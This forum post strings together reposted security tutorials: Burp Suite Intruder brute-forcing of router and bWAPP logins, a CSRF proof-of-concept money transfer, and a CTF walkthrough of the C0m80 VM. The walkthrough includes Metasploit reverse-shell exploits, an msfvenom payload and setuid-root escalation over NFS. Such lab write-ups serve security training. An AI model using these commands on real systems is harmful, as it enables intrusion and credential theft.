Login

**NINZA** · 05-14-2020, 08:14 AM

0			0

Today we are going to discuss “Payload Encoding” option followed by payload processing of Burpsuite which is advanced functionality comes under Intruder Tab for making brute force attack.
Payload Encode
The processing rule can be used to encode the payload using various schemes such as URL, HTML, Base64, ASCII hex or constructed strings.
Let’s start!!
First, we have intercepted the request of the login page of the router by giving its default IP which is 192.168.1.1, where we have given an invalid username and password. Then click on login, the burp suite will capture the request of the login page in the intercept tab.
[Image: 1.png?w=687&ssl=1]

Thus the sent request will be captured by burp suite which you can see in the given below image. In the screenshot, I had highlighted some value in the last line. Here it tells the type of authentication provided by the router is basic and if you have read above theory of basic authentication I had described that it is encoded in base 64
[Image: 2.png?w=687&ssl=1]

Send the captured request to the Intruder by clicking on the Action Tab and follow given below step. Now open the Intruder tab then select Positions tab and you can observe the highlighted password and follow the given below step for selecting payload position.

Press on the Clear button given at right of the window frame.
Now select the encoded value of authentication for payload position and click to ADD button on the left side of the frame.
Choose the Attack type as

Now click on payloads option after selecting payload position. Then select the Payload type as Simple list, where we have added a dictionary by clicking on Load button. We can either load the dictionary or we can manually add input strings using the Add button in the payload options as shown in the image.
The base64 encoded value of Authentication is a combination of username and password now the scenario is to generate the same encoded value of authentication with help of user password dictionary, therefore I have made a dictionary.
[Image: 3.png?w=687&ssl=1]

Before executing the attack we have added a payload processing rule to the payload type which is Encode and we have selected “Base64 encode” scheme because we know router takes the value in Base64.
Select Start Attack in the Intruder menu as shown in the image.
[Image: 4.png?w=687&ssl=1]

Sit back and relax because this will start brute force attack and try to match string for user authentication. In the screenshot, you can the status and length of the highlighted value is different from the rest of the values. This means we can use this encoded value to bypass the user authentication which occurs from request number 10. Now check the username and password of 10th line in the dictionary.
And to confirm the username and password matched, we will give the password in the Router’s Login Page, which will successfully log us into the Router’s Configuration Page. This shows our success in the attack as shown in the image.
[Image: 5.png?w=687&ssl=1]

Decode
This processing rule can be used to decode the payload using various schemes: URL, HTML, Base64 or ASCII hex. As we know decoding is nothing but reversing the encoding. It can be used in the opposite way in which encoding is carried out.
Hash
This processing rule can be used to carry out a hashing operation on the payload. There are 7 types of hashing algorithms are available in this payload processing rule which is as follows:

SHA-384
SHA-224
SHA-256
MD5
MD2
SHA
SHA-512

First, we have intercepted the request of the Redirection Link designed to find redirection vulnerabilities in the LAB created by us and in the hash value of the URL we have given a wrong hash value of HTTP://www.google.com in place of the actual hash value of the

[To see content please register here]

in the URL of the redirecting page. We have simply clicked on the Redirection link as shown in the image; the burp suite will capture the request of the redirecting page in the intercept tab.
[Image: 6.png?w=687&ssl=1]

Send the captured request to the Intruder by clicking on the Action Tab and follow given below step. Now open the Intruder tab then select Positions tab and you can observe the highlighted password and follow the given below step for selecting payload position.

Press on the Clear button given at right of the window frame.
Now we will select the fields where we want to attack which is the hash value of the redirecting page and then click on the Add button.
Choose the Attack type as a sniper.

Then select the Payload type as Simple list, where we have added a dictionary by clicking on Load button. We can either load the dictionary or we can manually add input strings using the Add button in the payload options as shown in the image.
[Image: 8.png?w=687&ssl=1]

Before executing the attack we have added a payload processing rule to the payload type which is Hash and then we have selected MD5 which is a commonly used algorithm for converting URL of the websites into a Hash MD5 value. As you can see the input strings of the dictionary are in a simple text form, but this processing rule converts it into Hash MD5 values which can be seen in result window of the attack.
Select Start Attack in the Intruder menu as shown in the image.
[Image: 9.png?w=687&ssl=1]

Sit back and relax because now the burp suite will do its work, match the Hash MD5 of the Redirecting Page which will give you the correct MD5 value. The moment it will find the correct value, it will change the value of length as shown in the image.
[Image: 10.png?w=687&ssl=1]

The Hash MD5 value, we will give the Hash value in the URL of the redirecting page which is

[To see content please register here]

, which will successfully redirect us to

[To see content please register here]

. This shows our success in the attack as shown in the image.
[Image: 11.png?w=687&ssl=1]

Add Raw Payload
This processing rule can be used to add raw payload value before or after the current processed value. For example, it can come in handy whenever we want to submit the same payload in both raw and hashed form.
First, we have intercepted the request of the login page in the Bwapp LAB, where we have given default username and wrong password. Then click on login, the burp suite will capture the request of the login page in the intercept tab.
[Image: 12.png?w=687&ssl=1]

Send the captured request to the Intruder by right-clicking on the space and selecting Send to Intruder option or simply press Ctrl + i. Now open the Intruder tab then select Positions tab and the following will be visible. Choose the Attack type as Sniper. Press on the Clear button as shown in the image. Now we will select the fields where we want to attack which is the password and click on Add button.
[Image: 13.png?w=687&ssl=1]

Send the captured request to the Intruder by clicking on the Action Tab and follow given below step. Now open the Intruder tab then select Positions tab and you can observe the highlighted password and follow the given below step for selecting payload position.

Press on the Clear button given at right of the window frame.
Now we will select the fields where we want to attack and i.e. the password filed and click on Add button.
Choose the Attack type as

In the given below image, we have selected a password that means we will need one dictionary files for a password.

Before executing the attack we have added a payload processing rule to the payload type which is Add Raw Payload and then we have selected Append Pre-processed Payload. This adds a raw payload value before and after the current processed value. As you can see the input strings of the dictionary as a single input string is repeated twice which can be seen in result window of the attack.
Select Start Attack in the Intruder menu as shown in the image.
[Image: 15.png?w=687&ssl=1]

Sit back and relax because now the burp suite will do its work, match the password which will give you the correct password. The moment it will find the correct value, it will change the value of length as shown in the image.
[Image: 16.png?w=687&ssl=1]

And to confirm the password matched, we will give the password in the Bwapp LAB login page, which will successfully log us into the Bwapp lab. This shows our success in the attack as shown in the image.
[Image: 22.png?w=687&ssl=1]

Skip if Matches Regex
This processing rule can be used to check the current processed value matches a specified regular expression, and if it matches it will skip the payload and will move onto the next one. For example, Suppose we have a parameter value that has a minimum length and want to skip values in the list that are shorter than the minimum length defined.
First, we have intercepted the request of the login page in the Bwapp LAB, where we have given default username and wrong password. Then click on login, the burp suite will capture the request of the login page in the intercept tab.
[Image: 17.png?w=687&ssl=1]

Send the captured request to the Intruder by clicking on the Action Tab and follow given below step. Now open the Intruder tab then select Positions tab and you can observe the highlighted password and follow the given below step for selecting payload position.

Press on the Clear button given at right of the window frame.
Now we will select the fields where we want to attack and i.e. the password filed and click on Add button.
Choose the Attack type as

In the given below image, we have selected a password that means we will need one dictionary files for a password.

Then select the Payload type as Simple list, where we have added a dictionary by clicking on Load button. We can either load the dictionary or we can manually add input strings using the Add button in the payload options as shown in the image.
[Image: 19.png?w=687&ssl=1]

Before executing the attack we have added a payload processing rule to the payload type which is Skip if Matches Regex where we have given an input of {@} in the match regex field. Here we see that as per this rule if the input is given matches with any of the input strings in the dictionary it simply skip that value and move on to next.
Now Select Start Attack in the Intruder menu as shown in the image.
[Image: 20.png?w=687&ssl=1]

Sit back and relax because now the burp suite will do its work, match the password which will give you the correct password. The moment it will find the correct value, it will change the value of length as shown in the image.
[Image: 21.png?w=687&ssl=1]

Today we are going to discuss the Importance of Engagement tools which is a Pro-only feature of Burp Suite. It is mainly used in information gathering and hence the analysis of any web application testing.
Its four important utilities are the following:

Find References
Discover Content
Schedule Task
Generate CSRF POC

Find References
This function can be used to search all Burp suite tools for HTTP responses that link to a particular item. To make use of this function, select an HTTP request anywhere in Burp suite, or any part of the site map, and choose “Find references” in “Engagement tools” in the context menu which can be seen clicking Action Tab within Burp suite.
The result window of the search shows responses (from all Burp tools) that are linked to the selected item. Whenever we view an individual search result, the response will be automatically highlighted to show where the linking reference is occurring.
This function treats the original URL as a Prefix whenever we search for links, so if you select a host, you will find all references related to the host and if you select a folder, you will find all references to items inside that folder.
First, we have intercepted the request of the Vulnweb.com which is a demo lab available over the internet which can be used for testing attacks. Then click on enter after writing the URL of the Vulnerable Web in your browser, then the burp suite will capture the request of the web page in the intercept tab.
[Image: 1.png?w=687&ssl=1]

Then click on Action Tab, after that select the Engagement tools then click on Find References. This will open a result window which will show all the references related to the URL whose request has been captured which is the Vulnerable Web as shown in the image.
[Image: 2.png?w=687&ssl=1]

Discover Content
This function is used to discover contents and functionality which are not linked with visible content that you can browse or spider.
There are various techniques that the burp suite uses to discover content, which includes name guessing, web spidering, and extrapolation from naming conventions observed within the use of an application.
Control
This tab shows you the current status of the session. The toggle button represents whether the session is running or not, and it also allows you to pause and restart the session.
The following information is displayed about the progress of the discovery session:

Number of requests made
Number of bytes transferred in server responses
Number of network errors
Number of discovery tasks queued
Number of spider requests queued
Number of responses queued for analysis

Target
This option allows you to define or state the start directory of the content discovery session, and whether the files or directories should be targeted. The options that are available are as follows:

Start directory – This is the location where Burp suite is used to look for content. The items within this path and sub-directories are requested during the session.
Discover – This option can be used to determine whether the session will look for files or directories or both.

Site Map
The discovery session uses their own site map, showing all of the content which has been discovered within the defined scope. If you have configured your Burp suite to do so, newly discovered items can be added to Burp suite’s main site map.
First, we have intercepted the request of the Vulnweb.com which is a demo lab available over the internet which can be used for testing attacks. Then click on enter after writing the URL of the Vulnerable Web in your browser, then the burp suite will capture the request of the web page in the intercept tab.
[Image: 1.png?w=687&ssl=1]

Then click on Action Tab within the Burp suite, after that select the Engagement tools then click on Content Discovery. This will open a result window which will show the discovery session status and queued tasks which are related to the URL whose request has been captured which is the Vulnerable Web as shown in the image.
[Image: 3.png?w=687&ssl=1]

Schedule Task
This function can be used to automatically start and stop certain tasks at defined times and intervals. We can use the task scheduler to start and stop certain automated tasks while you are not working, and to save your work periodically or at a specific time.
To make use of this function, select an HTTP request anywhere in Burp suite, or any part of the target site map, and choose “Schedule task” within “Engagement tools” in the context menu which can be seen by clicking right within Burp suite.
The types of task that are available within this function are as follows:

Scan from a URL
Pause active scanning
Resume active scanning
Spider from a URL
Pause spidering
Resume spidering
Save state

First, we have intercepted the request of the vulnweb.com which is a demo lab available over the internet which can be used for testing attacks. Then click on enter after writing the URL of the Vulnerable Web in your browser, then the burp suite will capture the request of the web page in the intercept tab.
[Image: 1.png?w=687&ssl=1]

Then click on Action Tab within the Burp suite, after that select the Engagement tools then click on Schedule Task. This will open a window of schedule task options where we have selected Scan from a URL option as shown in the image.
[Image: 4.png?w=687&ssl=1]

Then Click Next a window will open where we have to give the URL we want to scan its branches from the site map.
[Image: 5.png?w=687&ssl=1]

Then Click Next we see that the scanner tab of the burp suite is open which scans all the branches beneath the site map of the given URL which is seen in the scan queue tab as shown in the image which is related to the URL whose request has been captured which is the Vulnerable Web as shown in the image.
[Image: 6.png?w=687&ssl=1]

Generate CSRF PoC
This function can be used to generate a proof-of-concept (PoC) cross-site request forgery (CSRF) attack for any given request.
To access this function, select a URL or HTTP request anywhere in the Burp suite, and choose “Generate CSRF PoC” within “Engagement tools” in the context menu which can be seen by clicking right within Burp suite.
Let’s start!!
First, we have intercepted the request of the CSRF (transfer amount) option in the Bwapp LAB, where we have given an Account Number.
[Image: 7.png?w=687&ssl=1]

Then click on transfer, the burp suite will capture the request of the page in the intercept tab.
[Image: 8.png?w=687&ssl=1]

Then click on Action Tab within the Burp suite, after that select the Engagement tools then click on Generate CSRF PoC. This will open a window of the CSRF PoC where we made a change in Account value and Amount value in CSRF HTML code as shown in the image.
[Image: 10.png?w=687&ssl=1]

After making changes in the values click on Test in Browser option or Copy HTML this will open the window of Show response in the browser then click on COPY, and then paste it in the Browser and Press Enter as shown in the image.
[Image: 11.png?w=687&ssl=1]

We see a Submit request Button is seen in the browser after that click on it.
[Image: 12.png?w=687&ssl=1]

It appears to us that the amount is reduced as we have transferred the amount from the account by making changes in the CSRF HTML code as shown in the image.
[Image: 13.png?w=687&ssl=1]

Hello friends! Today we are going to take another CTF challenge known as C0m80. The credit for making this vm machine goes to “3mrgnc3” and it is another boot2root challenge in which our goal is to get root to complete the challenge. You can download this VM

[To see content please register here]

.
Let’s Breach!!!
Let us start form getting to know the IP of VM (Here, I have it at 192.168.1.127 but you will have to find your own)
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

Use nmap for port enumeration
nmap -A -p- 192.168.1.127
1
nmap -A -p- 192.168.1.127
[Image: 2.png?w=687&ssl=1]

We find that port 80, 111, 139, 445, 2049, 20021, 37196. 40325, 41605, 49418, 58563 are open. As port 80 is running http we open the ip address in our browser.
[Image: 3.png?w=687&ssl=1]

We don’t find anything on the web page so we use dirb to enumerate the directories.
dirb

[To see content please register here]

1
dirb

[To see content please register here]

We find a link to a login page that is running mantis bug report. We find that the version is vulnerable; we can reset the password of the users with this vulnerability. You can read how to exploit this vulnerability

[To see content please register here]

.

Now we exploit this vulnerability to change the password of the users.
[Image: 6.png?w=687&ssl=1]

We can change password of all the users present just by changing the id. After changing all the password we find that alice(id=4) is the only account with administrative privileges.
[Image: 7.png?w=687&ssl=1]

Going the mails we find a page that contains a link to a backup file.
[Image: 8.png?w=687&ssl=1]

We download the backup file using wget to get more information about the file.
[Image: 9.png?w=687&ssl=1]

After downloading the backup file we find that it is a hexdump, we use this program

[To see content please register here]

, to convert it to bin format.
Then we use binwalk to check for for embedded file and binaries and find that there are 2 binaries.
binwalk

[To see content please register here]

1
binwalk

[To see content please register here]

We use dd to convert the files into exe and dll, so that we can run the program.
[Image: 11.png?w=687&ssl=1]

Now we run the program and find it’s a program for ftp server.
[Image: 12.png?w=687&ssl=1]

We use netstat to check of ports, and found that port 20021 opened for listening on our system.
netstat -antp
1
netstat -antp
[Image: 13.png?w=687&ssl=1]

We use netcat to connect to the system and find that indeed it is an application for ftpserver.
nc localhost 20021
1
nc localhost 20021
[Image: 14.png?w=687&ssl=1]

We now reverse engineer the exe file using ollydbg for more information. And find that when it reads http: it opens the link in the the browser.
[Image: 15.1.png?w=687&ssl=1]

We use browser autopwn auxiliary to search for vulnerabilities.
msf > use auxiliary/server/browser_autopwn2
msf auxiliary(server/browser_autopwn2)> set lhost 192.168.1.130
msf auxiliary(server/browser_autopwn2)> run
1
2
3
msf > use auxiliary/server/browser_autopwn2
msf auxiliary(server/browser_autopwn2)> set lhost 192.168.1.130
msf auxiliary(server/browser_autopwn2)> run
[Image: 15.2.png?w=687&ssl=1]

We find that the server can be exploited using firefox_proto_crmrequest, so we setup our listener on metasploit.
msf > use exploit/multi/browser/firefox_proto_crmfrequest
msf exploit(multi/browser/firefox_proto_crmfrequest) > set lhost 192.168.1.130
msf exploit(multi/browser/firefox_proto_crmfrequest) > set lport 4444
msf exploit(multi/browser/firefox_proto_crmfrequest) > set target 1
msf exploit(multi/browser/firefox_proto_crmfrequest) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/browser/firefox_proto_crmfrequest) > run
1
2
3
4
5
6
msf > use exploit/multi/browser/firefox_proto_crmfrequest
msf exploit(multi/browser/firefox_proto_crmfrequest) > set lhost 192.168.1.130
msf exploit(multi/browser/firefox_proto_crmfrequest) > set lport 4444
msf exploit(multi/browser/firefox_proto_crmfrequest) > set target 1
msf exploit(multi/browser/firefox_proto_crmfrequest) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/browser/firefox_proto_crmfrequest) > run
[Image: 15.png?w=687&ssl=1]

Now we copy the link given by metasploit and use it in the ftp server running on the target machine.
[Image: 16.png?w=687&ssl=1]

As soon as we run the command we get our reverse shell.
[Image: 17.png?w=687&ssl=1]

Going through the files we get a hint of file that contains all the passwords.
[Image: 18.png?w=687&ssl=1]

So we use the search command to find all the files with that name on the server.
search -f *PWMangr2*
1
search -f *PWMangr2*

We download the file on our server.
[Image: 19.png?w=687&ssl=1]

Now we open the file and find all the passwords.
[Image: 20.png?w=687&ssl=1]

Now as the author of the machine states that we can directly access the machine, we go to the server and use the password we find for rdp.
[Image: 29.PNG?w=687&ssl=1]

Now we have access to the machine we find a ssh private key but our nmap scan showed no ssh service running on the server so we take a look at the ssh configuration files and find that the ssh only accepts local connections on port 65122.
[Image: 30.PNG?w=687&ssl=1]

Now we use the private key we find to login as al1ce, as it is the other account used on this server.
[Image: 31.PNG?w=687&ssl=1]

When we try to login through ssh using the key. We use plink to connect, we get a prompt to unlock the key we use the password we find al1ce (7M6Kt8tC8X5Qz99@Eeb8592Z$Fd@u286) and unlock the private key.
plink -l al1ce localhost -I id_rsa -P 65122
1
plink -l al1ce localhost -I id_rsa -P 65122
[Image: 32.PNG?w=687&ssl=1]

Now we are login as al1ce.
[Image: 33.PNG?w=687&ssl=1]

Now the server is running nfs, so we can use this to upload setuid root binaries.
Now we create a shell using metasploit.
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.1.130 lport=4444 -f elf > shell
1
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.1.130 lport=4444 -f elf > shell
[Image: 36.png?w=687&ssl=1]

Now we setup our listener using metasploit.
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.130
msf exploit(multi/handler) > set lport 4444
msf exploit(multi/handler) > set run
1
2
3
4
5
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.130
msf exploit(multi/handler) > set lport 4444
msf exploit(multi/handler) > set run
[Image: 37.png?w=687&ssl=1]

Now we use a script called nsfpysh to interact with nsf, we upload our shell and give him executable permission along with setuid.
[Image: 38.png?w=687&ssl=1]

Now we go to the target machine and run the shell.
[Image: 39.PNG?w=687&ssl=1]

As soon as we run the shell, we get the reverse shell as root.
[Image: 40.png?w=687&ssl=1]

Now we find that we are the root user.
[Image: 41.png?w=687&ssl=1]

Now we go to the root folder and find the congratulatory flag.
[Image: 42.png?w=687&ssl=1]

Today we are going to discuss the “Payload Processing” option of Burpsuite which is advanced functionality comes under Intruder Tab for making brute force attack.
Payload Processing
Payload Processing can be defined as when payloads are generated using payload types, they can be further manipulated or filtered using various processing rules and payload encoding.
Payload Processing Rules
These rules are defined to perform a various processing task on each payload before it is used. These rules are executed in a sequence, and they can be used to help debug any problem with the configuration. Payload processing rules are useful in situations where you need to generate different payloads, or where we want to wrap payloads within a wider structure or encoding scheme.
There are 12 types of payload processing rules available:

Add prefix
Add suffix
Match / Replace
Substring
Reverse substring
Modify case
Encode
Decode
Hash
Add raw payload
Skip if matches regex
Invoke Burp extension

Let’s start!!
Add Prefix
This processing rule adds up a prefix before the payload.
First, we have intercepted the request of the login page in the Bwapp LAB, where we have given default username and wrong password. Then click on login, the burp suite will capture the request of the login page in the intercept tab.
[Image: Screenshot_1.png?w=687&ssl=1]

Send the captured request to the Intruder by clicking on the Action Tab and follow given below step. Now open the Intruder tab then select Positions tab and you can observe the highlighted password and follow the given below step for selecting payload position.

Press on the Clear button given at right of the window frame.
Now we will select the fields where we want to attack and i.e. the password filed and click on Add button.
Choose the Attack type as a sniper

In the given below image, we have selected a password that means we will need one dictionary files for a password.

Now click on payloads option after selecting payload position. Then select the Payload type as Simple list, where we have added a dictionary by clicking on Load button. We can either load the dictionary or we can manually add input strings using the Add button in the payload options as shown in the image.
[Image: Screenshot_3.png?w=687&ssl=1]

Before executing the attack we have added a payload processing rule to the payload type which is Add Prefix and we have given an input string “hash” which is added as a prefix with every input strings in the dictionary, as shown in the result window of the attack.
Select Start Attack in the Intruder menu as shown in the image.
[Image: Screenshot_4.png?w=687&ssl=1]

Sit back and relax because now the burp suite will do its work, match the password which will give you the correct password. The moment it will find the correct value, it will change the value of length as shown in the image.
[Image: Screenshot_5.png?w=687&ssl=1]

And to confirm the password matched, we will give the password in the Bwapp LAB login page, which will successfully log us into the Bwapp lab. This shows our success in the attack as shown in the image.
[Image: Screenshot_6.png?w=687&ssl=1]

Add Suffix
This processing rule adds up a suffix after the payload.
First, we have intercepted the request of the login page in the Bwapp LAB, where we have given default username and wrong password. Then click on login, the burp suite will capture the request of the login page in the intercept tab.
[Image: Screenshot_7.png?w=687&ssl=1]

Send the captured request to the Intruder by clicking on the Action Tab and follow given below step. Now open the Intruder tab then select Positions tab and you can observe the highlighted password and follow the given below step for selecting payload position.

Press on the Clear button given at right of the window frame.
Now we will select the fields where we want to attack and i.e. the password filed and click on Add button.
Choose the Attack type as a sniper

In the given below image, we have selected a password that means we will need one dictionary files for a password.

Now click on payloads option after selecting payload position. Then select the Payload type as Simple list, where we have added a dictionary by clicking on Load button. We can either load the dictionary or we can manually add input strings using the Add button in the payload options as shown in the image.
[Image: Screenshot_9.png?w=687&ssl=1]

Before executing the attack we have added a payload processing rule to the payload type which is Add Suffix and we have given an input string “1234” which is added as a suffix with every input strings in the dictionary, as shown in the result window of the attack.
Select Start Attack in the Intruder menu as shown in the image.
[Image: Screenshot_10.png?w=687&ssl=1]

Sit back and relax because now the burp suite will do its work, match the password which will give you the correct password. The moment it will find the correct value, it will change the value of length as shown in the image.
Use this combination of username and password for login to verify your brute force attack for the correct password.
[Image: Screenshot_11.png?w=687&ssl=1]

Match / Replace
This processing rule is used to replace any part of the payload that match a specific regular expression, with a string.
First, we have intercepted the request of the login page in the Bwapp LAB, where we have given default username and wrong password. Then click on login, the burp suite will capture the request of the login page in the intercept tab.
[Image: Screenshot_13.png?w=687&ssl=1]

Send the captured request to the Intruder by clicking on the Action Tab and follow given below step. Now open the Intruder tab then select Positions tab and you can observe the highlighted password and follow the given below step for selecting payload position.

Press on the Clear button given at right of the window frame.
Now we will select the fields where we want to attack and i.e. the password filed and click on Add button.
Choose the Attack type as the sniper

In the given below image, we have selected a password that means we will need one dictionary files for the password.

Now click on payloads option after selecting payload position. Then select the Payload type as Simple list, where we have added a dictionary by clicking on Load button. We can either load the dictionary or we can manually add input strings using the Add button in the payload options as shown in the image.
[Image: Screenshot_15.png?w=687&ssl=1]

Before executing the attack we have added a payload processing rule to the payload type which is Match / Replace and we have given an input “9870” in the Match Regex which will match the input given with the input strings in the dictionary, if the there is a certain match than it will replace it with the input “1234” given in the Replace with as shown in the image.
Select Start Attack in the Intruder menu.
[Image: Screenshot_16.png?w=687&ssl=1]

Sit back and relax because now the burp suite will do its work, match the password which will give you the correct password. The moment it will find the correct value, it will change the value of length as shown in the image.
Use this combination of username and password for login to verify your brute force attack for the correct password.
[Image: Screenshot_17.png?w=687&ssl=1]

Substring
This processing rule is used to extracts a sub-portion of the payload, starting from a specified offset up to a specified length. Here the offset and length are counted from the front.
First, we have intercepted the request of the login page in the Bwapp LAB, where we have given default username and wrong password. Then click on login, the burp suite will capture the request of the login page in the intercept tab.
[Image: Screenshot_19.png?w=687&ssl=1]

Send the captured request to the Intruder by clicking on the Action Tab and follow given below step. Now open the Intruder tab then select Positions tab and you can observe the highlighted password and follow the given below step for selecting payload position.

Press on the Clear button given at right of the window frame.
Now we will select the fields where we want to attack and i.e. the password filed and click on Add button.
Choose the Attack type as a sniper

In the given below image, we have selected a password that means we will need one dictionary files for the password.

Now click on payloads option after selecting payload position. Then select the Payload type as Simple list, where we have added a dictionary by clicking on Load button. Here we had added dictionary using the option “Add from list” as shown below in the given image.
[Image: Screenshot_21.png?w=687&ssl=1]

Before executing the attack we have added a payload processing rule to the payload type which is Substring and we have given an input “0” in From option which specifies the offset and an input “3” in the Length option which specifies the length of the input strings.
For example, if “password” is a word in a dictionary and we had applied above filter so it will place alphabet p = 0; a = 1; s = 2 and s = 3 hence it will read only pass from whole word “password”.
The length specified will select only those inputs having the specific length and other lower or greater length inputs are discarded as shown in the result window of the attack.
Select Start Attack in the Intruder menu.
[Image: Screenshot_22.png?w=687&ssl=1]

Sit back and relax because now the burp suite will do its work, match the password which will give you the correct password. The moment it will find the correct value, it will change the value of length as shown in the image.
Use this combination of username and password for login to verify your brute force attack for the correct password.
[Image: Screenshot_23.png?w=687&ssl=1]

Reverse Substring
This processing rule is used as a substring rule, but the end offset is specified counting backward from the end of the payload, and the length is counted backward from the end offset.
First, we have intercepted the request of the login page in the Bwapp LAB, where we have given default username and wrong password. Then click on login, the burp suite will capture the request of the login page in the intercept tab.
[Image: Screenshot_25.png?w=687&ssl=1]

Send the captured request to the Intruder by clicking on the Action Tab and follow given below step. Now open the Intruder tab then select Positions tab and you can observe the highlighted password and follow the given below step for selecting payload position.

Press on the Clear button given at right of the window frame.
Now we will select the fields where we want to attack and i.e. the password filed and click on Add button.
Choose the Attack type as the sniper

In the given below image, we have selected a password that means we will need one dictionary files for a password.

Now click on payloads option after selecting payload position. Then select the Payload type as Simple list, where we have added a dictionary by clicking on Load button. Here we had added dictionary using the option “Add from list” as shown below in the given image.
[Image: Screenshot_27.png?w=687&ssl=1]

Before executing the attack we have added a payload processing rule to the payload type which is Reverse Substring and we have given an input “2” in From option which specifies the offset and an input “9” in the Length option which specifies the length of the input strings and they are similar to the Substring rule but it works from backward of an offset and the length is counted backward where the offset ends.
For example if “admin123456” is word in dictionary and we had applied above filter so it will place alphabet 4 = 0; 3 = 1 ; 2 = 2 ; 1 = 3 ; n = 4 ; i = 5 ; m = 6 ; d = 7 ; d = 8 ; a = 9 hence it will read only ‘admin1234’ from whole word “admin123456”.
The length specified will select only those inputs having the specific length and other lower or greater length inputs are discarded as shown in the result window of the attack.
Select Start Attack in the Intruder menu.
Sit back and relax because now the burp suite will do its work, match the password which will give you the correct password. The moment it will find the correct value, it will change the value of length as shown in the image.
Use this combination of username and password for login to verify your brute force attack for the correct password.
[Image: Screenshot_29.png?w=687&ssl=1]

Modify Case
This processing rule can be used to modify the case of the payload if needed. This rule has the same options available for the Case Modification payload type which we have explained in Part-1 of the Payload types article.
Source: portswigger.net

Login
Username: Password: Lost Password? Remember me
Or Register an account

Announcement : For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis

Announcement :

For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis